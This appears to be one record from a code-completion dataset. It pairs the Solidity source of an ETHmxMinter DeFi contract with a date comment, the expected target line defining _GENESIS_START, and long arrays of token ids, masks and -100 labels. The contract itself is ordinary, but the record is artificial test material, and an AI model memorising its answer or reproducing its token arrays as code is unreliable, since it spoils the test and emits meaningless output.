-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: Apache-2.0
/**
* Copyright 2021 weiWard LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity 0.7.6;
pragma abicoder v2;
import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./ETHmxMinterData.sol";
import "../../tokens/interfaces/IETHmx.sol";
import "../interfaces/IETHmxMinter.sol";
import "../../tokens/interfaces/IETHtx.sol";
import "../interfaces/IETHtxAMM.sol";
import "../../tokens/interfaces/IWETH.sol";
import "../../access/OwnableUpgradeable.sol";
import "../../libraries/UintLog.sol";
/* solhint-disable not-rely-on-time */
interface IPool {
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
}
contract ETHmxMinter is
Initializable,
ContextUpgradeable,
OwnableUpgradeable,
PausableUpgradeable,
ETHmxMinterData,
IETHmxMinter
{
using EnumerableSet for EnumerableSet.AddressSet;
using SafeERC20 for IERC20;
using SafeMath for uint256;
using SafeMath for uint32;
using UintLog for uint256;
struct ETHmxMinterArgs {
address ethmx;
address ethtx;
address ethtxAMM;
address weth;
ETHmxMintParams ethmxMintParams;
ETHtxMintParams ethtxMintParams;
uint128 lpShareNumerator;
uint128 lpShareDenominator;
address[] lps;
address lpRecipient;
}
uint256 internal constant _GAS_PER_ETHTX = 21000; // per 1e18
uint256 internal constant _GENESIS_START = 1620655200; // 05/10/2021 1400 UTC
uint256 internal constant _GENESIS_END = 1621260000; // 05/17/2021 1400 UTC
uint256 internal constant _GENESIS_AMOUNT = 3e21; // 3k ETH
/* Constructor */
constructor(address owner_) {
init(owner_);
}
/* Initializer */
function init(address owner_) public virtual initializer {
__Context_init_unchained();
__Ownable_init_unchained(owner_);
__Pausable_init_unchained();
}
function postInit(ETHmxMinterArgs memory _args) external virtual onlyOwner {
address sender = _msgSender();
_ethmx = _args.ethmx;
emit EthmxSet(sender, _args.ethmx);
_ethtx = _args.ethtx;
emit EthtxSet(sender, _args.ethtx);
_ethtxAMM = _args.ethtxAMM;
emit EthtxAMMSet(sender, _args.ethtxAMM);
_weth = _args.weth;
emit WethSet(sender, _args.weth);
_ethmxMintParams = _args.ethmxMintParams;
emit EthmxMintParamsSet(sender, _args.ethmxMintParams);
_inGenesis = block.timestamp <= _GENESIS_END;
_minMintPrice = _args.ethtxMintParams.minMintPrice;
_mu = _args.ethtxMintParams.mu;
_lambda = _args.ethtxMintParams.lambda;
emit EthtxMintParamsSet(sender, _args.ethtxMintParams);
_lpShareNum = _args.lpShareNumerator;
_lpShareDen = _args.lpShareDenominator;
emit LpShareSet(sender, _args.lpShareNumerator, _args.lpShareDenominator);
for (uint256 i = 0; i < _lps.length(); i++) {
address lp = _lps.at(i);
_lps.remove(lp);
emit LpRemoved(sender, lp);
}
for (uint256 i = 0; i < _args.lps.length; i++) {
address lp = _args.lps[i];
_lps.add(lp);
emit LpAdded(sender, lp);
}
_lpRecipient = _args.lpRecipient;
emit LpRecipientSet(sender, _args.lpRecipient);
}
function addLp(address pool) external virtual override onlyOwner {
bool added = _lps.add(pool);
require(added, "ETHmxMinter: liquidity pool already added");
emit LpAdded(_msgSender(), pool);
}
function mint() external payable virtual override whenNotPaused {
require(block.timestamp >= _GENESIS_START, "ETHmxMinter: before genesis");
uint256 amountIn = msg.value;
require(amountIn != 0, "ETHmxMinter: cannot mint with zero amount");
// Convert to WETH
address weth_ = weth();
IWETH(weth_).deposit{ value: amountIn }();
// Check if we're in genesis
bool exitingGenesis;
uint256 ethToMintEthtx = amountIn;
if (_inGenesis) {
uint256 totalGiven_ = _totalGiven.add(amountIn);
if (block.timestamp >= _GENESIS_END || totalGiven_ >= _GENESIS_AMOUNT) {
// Exiting genesis
ethToMintEthtx = totalGiven_;
exitingGenesis = true;
} else {
ethToMintEthtx = 0;
}
}
// Mint ETHtx and send ETHtx-WETH pair.
_mintEthtx(ethToMintEthtx);
// Mint ETHmx to sender.
uint256 amountOut = ethmxFromEth(amountIn);
_mint(_msgSender(), amountOut);
_totalGiven += amountIn;
// WARN this could cause re-entrancy if we ever called an unkown address
if (exitingGenesis) {
_inGenesis = false;
}
}
function mintWithETHtx(uint256 amount)
external
virtual
override
whenNotPaused
{
require(amount != 0, "ETHmxMinter: cannot mint with zero amount");
IETHtxAMM ammHandle = IETHtxAMM(ethtxAMM());
uint256 amountETHIn = ammHandle.ethToExactEthtx(amount);
require(
ammHandle.ethNeeded() >= amountETHIn,
"ETHmxMinter: ETHtx value burnt exceeds ETH needed"
);
address account = _msgSender();
IETHtx(ethtx()).burn(account, amount);
_mint(account, amountETHIn);
}
function mintWithWETH(uint256 amount)
external
virtual
override
whenNotPaused
{
require(block.timestamp >= _GENESIS_START, "ETHmxMinter: before genesis");
require(amount != 0, "ETHmxMinter: cannot mint with zero amount");
address account = _msgSender();
// Need ownership for router
IERC20(weth()).safeTransferFrom(account, address(this), amount);
// Check if we're in genesis
bool exitingGenesis;
uint256 ethToMintEthtx = amount;
if (_inGenesis) {
uint256 totalGiven_ = _totalGiven.add(amount);
if (block.timestamp >= _GENESIS_END || totalGiven_ >= _GENESIS_AMOUNT) {
// Exiting genesis
ethToMintEthtx = totalGiven_;
exitingGenesis = true;
} else {
ethToMintEthtx = 0;
}
}
// Mint ETHtx and send ETHtx-WETH pair.
_mintEthtx(ethToMintEthtx);
uint256 amountOut = ethmxFromEth(amount);
_mint(account, amountOut);
_totalGiven += amount;
// WARN this could cause re-entrancy if we ever called an unkown address
if (exitingGenesis) {
_inGenesis = false;
}
}
function pause() external virtual override onlyOwner {
_pause();
}
function recoverERC20(
address token,
address to,
uint256 amount
) external virtual override onlyOwner {
require(token != _weth, "ETHmxMinter: cannot recover WETH");
IERC20(token).safeTransfer(to, amount);
emit Recovered(_msgSender(), token, to, amount);
}
function removeLp(address pool) external virtual override onlyOwner {
bool removed = _lps.remove(pool);
require(removed, "ETHmxMinter: liquidity pool not present");
emit LpRemoved(_msgSender(), pool);
}
function setEthmx(address addr) public virtual override onlyOwner {
_ethmx = addr;
emit EthmxSet(_msgSender(), addr);
}
function setEthmxMintParams(ETHmxMintParams memory mp)
public
virtual
override
onlyOwner
{
_ethmxMintParams = mp;
emit EthmxMintParamsSet(_msgSender(), mp);
}
function setEthtxMintParams(ETHtxMintParams memory mp)
public
virtual
override
onlyOwner
{
_minMintPrice = mp.minMintPrice;
_mu = mp.mu;
_lambda = mp.lambda;
emit EthtxMintParamsSet(_msgSender(), mp);
}
function setEthtx(address addr) public virtual override onlyOwner {
_ethtx = addr;
emit EthtxSet(_msgSender(), addr);
}
function setEthtxAMM(address addr) public virtual override onlyOwner {
_ethtxAMM = addr;
emit EthtxAMMSet(_msgSender(), addr);
}
function setLpRecipient(address account)
external
virtual
override
onlyOwner
{
_lpRecipient = account;
emit LpRecipientSet(_msgSender(), account);
}
function setLpShare(uint128 numerator, uint128 denominator)
external
virtual
override
onlyOwner
{
// Also guarantees that the denominator cannot be zero.
require(denominator > numerator, "ETHmxMinter: cannot set lpShare >= 1");
_lpShareNum = numerator;
_lpShareDen = denominator;
emit LpShareSet(_msgSender(), numerator, denominator);
}
function setWeth(address addr) public virtual override onlyOwner {
_weth = addr;
emit WethSet(_msgSender(), addr);
}
function unpause() external virtual override onlyOwner {
_unpause();
}
/* Public Views */
function ethmx() public view virtual override returns (address) {
return _ethmx;
}
function ethmxMintParams()
public
view
virtual
override
returns (ETHmxMintParams memory)
{
return _ethmxMintParams;
}
function ethmxFromEth(uint256 amountETHIn)
public
view
virtual
override
returns (uint256)
{
if (amountETHIn == 0) {
return 0;
}
ETHmxMintParams memory mp = _ethmxMintParams;
uint256 amountOut = _ethmxCurve(amountETHIn, mp);
if (_inGenesis) {
uint256 totalGiven_ = _totalGiven;
uint256 totalEnd = totalGiven_.add(amountETHIn);
if (totalEnd > _GENESIS_AMOUNT) {
// Exiting genesis
uint256 amtUnder = _GENESIS_AMOUNT - totalGiven_;
amountOut -= amtUnder.mul(amountOut).div(amountETHIn);
uint256 added =
amtUnder.mul(2).mul(mp.zetaFloorNum).div(mp.zetaFloorDen);
return amountOut.add(added);
}
return amountOut.mul(2);
}
return amountOut;
}
function ethmxFromEthtx(uint256 amountETHtxIn)
public
view
virtual
override
returns (uint256)
{
return IETHtxAMM(ethtxAMM()).ethToExactEthtx(amountETHtxIn);
}
function ethtx() public view virtual override returns (address) {
return _ethtx;
}
function ethtxMintParams()
public
view
virtual
override
returns (ETHtxMintParams memory)
{
return ETHtxMintParams(_minMintPrice, _mu, _lambda);
}
function ethtxAMM() public view virtual override returns (address) {
return _ethtxAMM;
}
function ethtxFromEth(uint256 amountETHIn)
public
view
virtual
override
returns (uint256)
{
if (amountETHIn == 0) {
return 0;
}
IETHtxAMM ammHandle = IETHtxAMM(_ethtxAMM);
(uint256 collat, uint256 liability) = ammHandle.cRatio();
uint256 gasPrice = ammHandle.gasPrice();
uint256 basePrice;
uint256 lambda_;
{
uint256 minMintPrice_ = _minMintPrice;
uint256 mu_ = _mu;
lambda_ = _lambda;
basePrice = mu_.mul(gasPrice).add(minMintPrice_);
}
if (liability == 0) {
// If exiting genesis, flat 2x on minting price up to threshold
if (_inGenesis) {
uint256 totalGiven_ = _totalGiven;
uint256 totalEnd = totalGiven_.add(amountETHIn);
if (totalEnd > _GENESIS_AMOUNT) {
uint256 amtOver = totalEnd - _GENESIS_AMOUNT;
uint256 amtOut =
_ethToEthtx(basePrice.mul(2), amountETHIn - amtOver);
return amtOut.add(_ethToEthtx(basePrice, amtOver));
}
return _ethToEthtx(basePrice.mul(2), amountETHIn);
}
return _ethToEthtx(basePrice, amountETHIn);
}
uint256 ethTarget;
{
(uint256 cTargetNum, uint256 cTargetDen) = ammHandle.targetCRatio();
ethTarget = liability.mul(cTargetNum).div(cTargetDen);
}
if (collat < ethTarget) {
uint256 ethEnd = collat.add(amountETHIn);
if (ethEnd <= ethTarget) {
return 0;
}
amountETHIn = ethEnd - ethTarget;
collat = ethTarget;
}
uint256 firstTerm = basePrice.mul(amountETHIn);
uint256 collatDiff = collat - liability;
uint256 coeffA = lambda_.mul(liability).mul(gasPrice);
uint256 secondTerm =
basePrice.mul(collatDiff).add(coeffA).mul(1e18).ln().mul(coeffA);
secondTerm /= 1e18;
uint256 thirdTerm = basePrice.mul(collatDiff.add(amountETHIn));
// avoids stack too deep error
thirdTerm = thirdTerm.add(coeffA).mul(1e18).ln().mul(coeffA) / 1e18;
uint256 numerator = firstTerm.add(secondTerm).sub(thirdTerm).mul(1e18);
uint256 denominator = _GAS_PER_ETHTX.mul(basePrice).mul(basePrice);
return numerator.div(denominator);
}
function inGenesis() external view virtual override returns (bool) {
return _inGenesis;
}
function numLiquidityPools()
external
view
virtual
override
returns (uint256)
{
return _lps.length();
}
function liquidityPoolsAt(uint256 index)
external
view
virtual
override
returns (address)
{
return _lps.at(index);
}
function lpRecipient() public view virtual override returns (address) {
return _lpRecipient;
}
function lpShare()
public
view
virtual
override
returns (uint128 numerator, uint128 denominator)
{
numerator = _lpShareNum;
denominator = _lpShareDen;
}
function totalGiven() public view virtual override returns (uint256) {
return _totalGiven;
}
function weth() public view virtual override returns (address) {
return _weth;
}
/* Internal Views */
function _ethmxCurve(uint256 amountETHIn, ETHmxMintParams memory mp)
internal
view
virtual
returns (uint256)
{
uint256 cRatioNum;
uint256 cRatioDen;
uint256 cTargetNum;
uint256 cTargetDen;
{
IETHtxAMM ammHandle = IETHtxAMM(_ethtxAMM);
(cRatioNum, cRatioDen) = ammHandle.cRatio();
if (cRatioDen == 0) {
// cRatio > cCap
return amountETHIn.mul(mp.zetaFloorNum).div(mp.zetaFloorDen);
}
(cTargetNum, cTargetDen) = ammHandle.targetCRatio();
}
uint256 ethEnd = cRatioNum.add(amountETHIn);
uint256 ethTarget = cRatioDen.mul(cTargetNum).div(cTargetDen);
uint256 ethCap = cRatioDen.mul(mp.cCapNum).div(mp.cCapDen);
if (cRatioNum >= ethCap) {
// cRatio >= cCap
return amountETHIn.mul(mp.zetaFloorNum).div(mp.zetaFloorDen);
}
if (cRatioNum < ethTarget) {
// cRatio < cTarget
if (ethEnd > ethCap) {
// Add definite integral
uint256 curveAmt =
_ethmxDefiniteIntegral(
ethCap - ethTarget,
mp,
cTargetNum,
cTargetDen,
ethTarget,
cRatioDen
);
// Add amount past cap
uint256 pastCapAmt =
(ethEnd - ethCap).mul(mp.zetaFloorNum).div(mp.zetaFloorDen);
// add initial amount
uint256 flatAmt =
(ethTarget - cRatioNum).mul(mp.zetaCeilNum).div(mp.zetaCeilDen);
return flatAmt.add(curveAmt).add(pastCapAmt);
} else if (ethEnd > ethTarget) {
// Add definite integral for partial amount
uint256 ethOver = ethEnd - ethTarget;
uint256 curveAmt =
_ethmxDefiniteIntegral(
ethOver,
mp,
cTargetNum,
cTargetDen,
ethTarget,
cRatioDen
);
uint256 ethBeforeCurve = amountETHIn - ethOver;
uint256 flatAmt =
ethBeforeCurve.mul(mp.zetaCeilNum).div(mp.zetaCeilDen);
return flatAmt.add(curveAmt);
}
return amountETHIn.mul(mp.zetaCeilNum).div(mp.zetaCeilDen);
}
// cTarget < cRatio < cCap
if (ethEnd > ethCap) {
uint256 ethOver = ethEnd - ethCap;
uint256 curveAmt =
_ethmxDefiniteIntegral(
amountETHIn - ethOver,
mp,
cTargetNum,
cTargetDen,
cRatioNum,
cRatioDen
);
uint256 flatAmt = ethOver.mul(mp.zetaFloorNum).div(mp.zetaFloorDen);
return curveAmt.add(flatAmt);
}
return
_ethmxDefiniteIntegral(
amountETHIn,
mp,
cTargetNum,
cTargetDen,
cRatioNum,
cRatioDen
);
}
function _ethmxDefiniteIntegral(
uint256 amountETHIn,
ETHmxMintParams memory mp,
uint256 cTargetNum,
uint256 cTargetDen,
uint256 initCollateral,
uint256 liability
) internal pure virtual returns (uint256) {
uint256 fctMulNum = mp.zetaFloorNum.mul(mp.zetaCeilDen).mul(cTargetDen);
uint256 fctMulDen = mp.zetaFloorDen.mul(mp.zetaCeilNum).mul(cTargetNum);
// prettier-ignore
uint256 first =
amountETHIn
.mul(fctMulNum.mul(mp.cCapNum))
.div(fctMulDen.mul(mp.cCapDen));
uint256 second = amountETHIn.mul(mp.zetaFloorNum).div(mp.zetaFloorDen);
uint256 tNum = fctMulNum.mul(amountETHIn);
uint256 tDen = fctMulDen.mul(2).mul(liability);
uint256 third = initCollateral.mul(2).add(amountETHIn);
// avoids stack too deep error
third = third.mul(tNum).div(tDen);
return first.add(second).sub(third);
}
function _ethToEthtx(uint256 gasPrice, uint256 amountETH)
internal
pure
virtual
returns (uint256)
{
require(gasPrice != 0, "ETHmxMinter: gasPrice is zero");
return amountETH.mul(1e18) / gasPrice.mul(_GAS_PER_ETHTX);
}
/* Internal Mutators */
function _mint(address account, uint256 amount) internal virtual {
IETHmx(ethmx()).mintTo(account, amount);
}
function _mintEthtx(uint256 amountEthIn) internal virtual {
// Mint ETHtx.
uint256 ethtxToMint = ethtxFromEth(amountEthIn);
if (ethtxToMint == 0) {
return;
}
address ethtx_ = ethtx();
IETHtx(ethtx_).mint(address(this), ethtxToMint);
// Lock portion into liquidity in designated pools
(uint256 ethtxSentToLp, uint256 ethSentToLp) = _sendToLps(ethtxToMint);
// Send the rest to the AMM.
address ethtxAmm_ = ethtxAMM();
IERC20(weth()).safeTransfer(ethtxAmm_, amountEthIn.sub(ethSentToLp));
IERC20(ethtx_).safeTransfer(ethtxAmm_, ethtxToMint.sub(ethtxSentToLp));
}
function _sendToLps(uint256 ethtxTotal)
internal
virtual
returns (uint256 totalEthtxSent, uint256 totalEthSent)
{
uint256 numLps = _lps.length();
if (numLps == 0) {
return (0, 0);
}
(uint256 lpShareNum, uint256 lpShareDen) = lpShare();
if (lpShareNum == 0) {
return (0, 0);
}
uint256 ethtxToLp = ethtxTotal.mul(lpShareNum).div(lpShareDen).div(numLps);
uint256 ethToLp = IETHtxAMM(ethtxAMM()).ethToExactEthtx(ethtxToLp);
address ethtx_ = ethtx();
address weth_ = weth();
address to = lpRecipient();
for (uint256 i = 0; i < numLps; i++) {
address pool = _lps.at(i);
IERC20(ethtx_).safeIncreaseAllowance(pool, ethtxToLp);
IERC20(weth_).safeIncreaseAllowance(pool, ethToLp);
(uint256 ethtxSent, uint256 ethSent, ) =
IPool(pool).addLiquidity(
ethtx_,
weth_,
ethtxToLp,
ethToLp,
0,
0,
to,
// solhint-disable-next-line not-rely-on-time
block.timestamp
);
totalEthtxSent = totalEthtxSent.add(ethtxSent);
totalEthSent = totalEthSent.add(ethSent);
}
}
}
|
05/10/2021 1400 UTC
|
uint256 internal constant _GENESIS_START = 1620655200;
| 5,373,681 |
[
1,
4625,
348,
7953,
560,
30,
225,
15331,
19,
2163,
19,
18212,
21,
5045,
713,
9951,
203,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
202,
11890,
5034,
2713,
5381,
389,
16652,
41,
15664,
67,
7570,
273,
2872,
3462,
26,
2539,
6976,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
